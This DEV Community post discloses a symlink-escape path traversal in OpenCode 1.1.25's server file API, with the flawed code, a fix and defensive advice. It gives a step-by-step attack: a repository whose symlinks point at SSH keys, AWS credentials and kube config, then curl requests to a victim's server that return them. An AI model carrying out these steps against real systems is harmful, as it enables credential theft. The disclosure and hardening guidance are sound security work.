DEV Community

Cover image for Reading Outside the Lines: Symlink Escape in OpenCode's File API
Jonathan Santilli
Jonathan Santilli

Posted on

Reading Outside the Lines: Symlink Escape in OpenCode's File API

The last vulnerability I found was the quietest. No command execution. Just... reading files that shouldn't be readable.


After command injection, I looked at what else the server API exposed. The /file/content endpoint caught my attention. It reads files from the project directory.

"From the project directory", that's the key phrase. The endpoint is supposed to be scoped. You can read files in your project, not files anywhere on the system.

But what about symlinks?

The Question

If I have a symlink inside my project that points outside my project, which way does the boundary check go?

my-project/
├── src/
├── package.json
└── link -> /home/user/.ssh/id_rsa
Enter fullscreen mode Exit fullscreen mode

The symlink link is inside my-project. Its target, /home/user/.ssh/id_rsa, is not.

When I request /file/content?path=link, do I get:

  1. An error (path escapes project boundary), or
  2. My SSH private key?

The Answer

I got my SSH private key.

Well, I got a test file I created outside the project to simulate this. But the principle is the same.

# Create a secret file outside the project
echo "TOP_SECRET" > /tmp/outside_secret.txt

# Create a symlink inside the project pointing to it
ln -s /tmp/outside_secret.txt ./leak

# Start the server and request the symlink
curl "http://localhost:8080/file/content?path=leak"
# Response: TOP_SECRET
Enter fullscreen mode Exit fullscreen mode

The boundary check looked at ./leak, saw it was inside the project, and said okay. The file read followed the symlink to /tmp/outside_secret.txt and returned its contents.

Verified on OpenCode 1.1.25.

The Code

Here's what's happening:

// packages/opencode/src/file/index.ts:275
async read(file: string): Promise<string> {
  const full = path.join(Instance.directory, file)

  // Line 280: The boundary check
  // (There's even a TODO comment noting the symlink issue!)
  if (!Instance.containsPath(full)) {
    return ""
  }

  // Line 286: The actual read
  const bunFile = Bun.file(full)
  return await bunFile.text()
}
Enter fullscreen mode Exit fullscreen mode

Instance.containsPath(full) checks if full is lexically within the project. It uses path.relative(), a string operation. It doesn't resolve symlinks.

Bun.file(full) reads the file. It does follow symlinks. That's normal, that's what file reads do.

The mismatch between "check the string path" and "read the resolved path" creates the vulnerability.

And yes, there's a TODO comment in the actual code acknowledging this issue. It says something like "symlinks inside the project can escape." The developers know. It just hasn't been fixed.

What This Means

This isn't command execution. An attacker can't run arbitrary code through this vulnerability alone.

But they can read files. Any file that:

  1. The OpenCode process has permission to read
  2. Can be reached via a symlink in the project

That's a lot of files.

SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519
Cloud credentials: ~/.aws/credentials, ~/.kube/config, ~/.azure/
API tokens: ~/.npmrc, ~/.docker/config.json
Environment files: .env files with database passwords
Browser data: Depending on permissions

If an attacker can read your SSH private key, they can access your servers. If they can read your AWS credentials, they can access your cloud. This is serious.

The Attack

Here's how it plays out:

Step 1: Attacker creates a malicious repository

mkdir malicious-repo && cd malicious-repo
git init
ln -s ~/.ssh/id_rsa ssh_key
ln -s ~/.aws/credentials aws_creds
ln -s ~/.kube/config k8s_config
echo '{}' > package.json
git add -A && git commit -m "Initial commit"
Enter fullscreen mode Exit fullscreen mode

The repo looks normal. Maybe it's a "helpful starter template" or a "minimal reproduction case" for a bug report.

Step 2: Victim clones and serves

git clone https://github.com/attacker/helpful-template
cd helpful-template
opencode serve --port 8080
Enter fullscreen mode Exit fullscreen mode

Maybe they're using server mode for IDE integration. Maybe they're accessing it from their phone. Whatever the reason, the server is running.

Step 3: Attacker (or malicious process) requests the symlinks

curl "http://victim:8080/file/content?path=ssh_key"
# Returns: -----BEGIN OPENSSH PRIVATE KEY-----...

curl "http://victim:8080/file/content?path=aws_creds"
# Returns: [default]\naws_access_key_id = AKIA...
Enter fullscreen mode Exit fullscreen mode

Step 4: Attacker has the credentials

No code executed. No obvious compromise. Just quiet data exfiltration.

Why Symlinks?

You might wonder: why would anyone have symlinks to sensitive files in their project?

They wouldn't create them intentionally. But:

  1. Git preserves symlinks. When you clone a repo with symlinks, you get the symlinks.
  2. Symlinks look innocent. A file called link or config doesn't scream "I point to your SSH key."
  3. Nobody audits symlinks. Quick, can you tell me all the symlinks in the last repo you cloned? You can't. Neither can I.

The attacker creates the symlinks. The victim just clones the repo. That's the attack.

The Disclosure

Same story as the others. I reported it. The maintainers responded:

"Server mode is opt-in. Securing it is the user's responsibility."

At this point, I understand their threat model. Server mode is out of scope. Users are expected to protect it themselves.

But I still think users should know that the file API can return files outside the project if symlinks are involved. That's the point of this post.

What You Should Do

1. Audit symlinks in unfamiliar repos

find . -type l -ls
Enter fullscreen mode Exit fullscreen mode

This shows all symlinks and their targets. Do this before running opencode serve in a repo you don't fully trust.

2. Remove suspicious symlinks

# Remove symlinks pointing to absolute paths
find . -type l -lname '/*' -delete
Enter fullscreen mode Exit fullscreen mode

If a repo has symlinks pointing outside the project, that's suspicious.

3. Authentication and network restrictions

Same advice as the command injection bug:

  • Set OPENCODE_SERVER_PASSWORD
  • Bind to localhost
  • Avoid --mdns on untrusted networks

4. Container isolation

Containers can limit what files are accessible at all. If you mount only the project directory into the container, symlinks to external files will fail (the targets don't exist inside the container).

The Easy Fix

This one has a straightforward fix. Before checking containment, resolve the path to its canonical form:

// What it should do:
const canonical = await Bun.realpath(full)
if (!Instance.containsPath(canonical)) {
  return ""  // The RESOLVED path escapes, reject it
}
Enter fullscreen mode Exit fullscreen mode

By checking the canonical path instead of the lexical path, symlinks that escape the boundary are caught.

The fix is literally two lines. The issue is acknowledged in a TODO comment. But it hasn't been implemented.

Wrapping Up

This was the fifth vulnerability I found. Not the most severe, no code execution, but significant. Credential theft can be just as damaging as a shell, sometimes more so.

It also has the cleanest fix. realpath() before the boundary check. That's it.

I hope the maintainers will reconsider this one. It's not a design philosophy question. It's not a threat model debate. It's a straightforward path traversal bug with a straightforward fix.

Until then, be careful with symlinks.


Questions or need verification details? Contact me at x.com/pachilo.

Technical Details

  • Affected version: OpenCode 1.1.25
  • Vulnerability type: Path traversal via symlink escape
  • CVSS: High (confidentiality impact)
  • CWE: CWE-22 (Path Traversal), CWE-59 (Improper Link Resolution)

This post is published for community awareness after responsible disclosure to the maintainers.

Top comments (0)